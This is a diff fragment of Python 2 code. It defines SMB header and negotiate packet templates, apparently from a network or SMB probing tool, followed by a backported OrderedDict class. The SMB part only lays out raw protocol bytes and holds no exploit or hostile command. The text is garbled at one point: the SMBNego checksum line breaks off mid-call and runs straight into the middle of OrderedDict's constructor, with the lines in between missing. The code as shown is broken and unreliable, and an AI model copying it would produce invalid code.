+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x00"),
+ ("Bcc", "\x62\x00"),
+ ("Data", "")
+ ])
+
+ def calculate(self):
+ self.fields["Bcc"] = struct.pack(" 1:
+ raise TypeError('expected at most 1 arguments, got %d' % len(args))
+ try:
+ self.__end
+ except AttributeError:
+ self.clear()
+ self.update(*args, **kwds)
+
+ def clear(self):
+ self.__end = end = []
+ end += [None, end, end]
+ self.__map = {}
+ dict.clear(self)
+
+ def __setitem__(self, key, value):
+ if key not in self:
+ end = self.__end
+ curr = end[1]
+ curr[2] = end[1] = self.__map[key] = [key, curr, end]
+ dict.__setitem__(self, key, value)
+
+ def __delitem__(self, key):
+ dict.__delitem__(self, key)
+ key, prev, next = self.__map.pop(key)
+ prev[2] = next
+ next[1] = prev
+
+ def __iter__(self):
+ end = self.__end
+ curr = end[2]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[2]
+
+ def __reversed__(self):
+ end = self.__end
+ curr = end[1]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[1]
+
+ def popitem(self, last=True):
+ if not self:
+ raise KeyError('dictionary is empty')
+ if last:
+ key = reversed(self).next()
+ else:
+ key = iter(self).next()
+ value = self.pop(key)
+ return key, value
+
+ def __reduce__(self):
+ items = [[k, self[k]] for k in self]
+ tmp = self.__map, self.__end
+ del self.__map, self.__end
+ inst_dict = vars(self).copy()
+ self.__map, self.__end = tmp
+ if inst_dict:
+ return (self.__class__, (items,), inst_dict)
+ return self.__class__, (items,)
+
+ def keys(self):
+ return list(self)
+
+ setdefault = DictMixin.setdefault
+ update = DictMixin.update
+ pop = DictMixin.pop
+ values = DictMixin.values
+ items = DictMixin.items
+ iterkeys = DictMixin.iterkeys
+ itervalues = DictMixin.itervalues
+ iteritems = DictMixin.iteritems
+
+ def __repr__(self):
+ if not self:
+ return '%s()' % (self.__class__.__name__,)
+ return '%s(%r)' % (self.__class__.__name__, self.items())
+
+ def copy(self):
+ return self.__class__(self)
+
+ @classmethod
+ def fromkeys(cls, iterable, value=None):
+ d = cls()
+ for key in iterable:
+ d[key] = value
+ return d
+
+ def __eq__(self, other):
+ if isinstance(other, OrderedDict):
+ return len(self)==len(other) and \
+ min(p==q for p, q in zip(self.items(), other.items()))
+ return dict.__eq__(self, other)
+
+ def __ne__(self, other):
+ return not self == other
+
+
+if __name__ == '__main__':
+ d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
+ assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']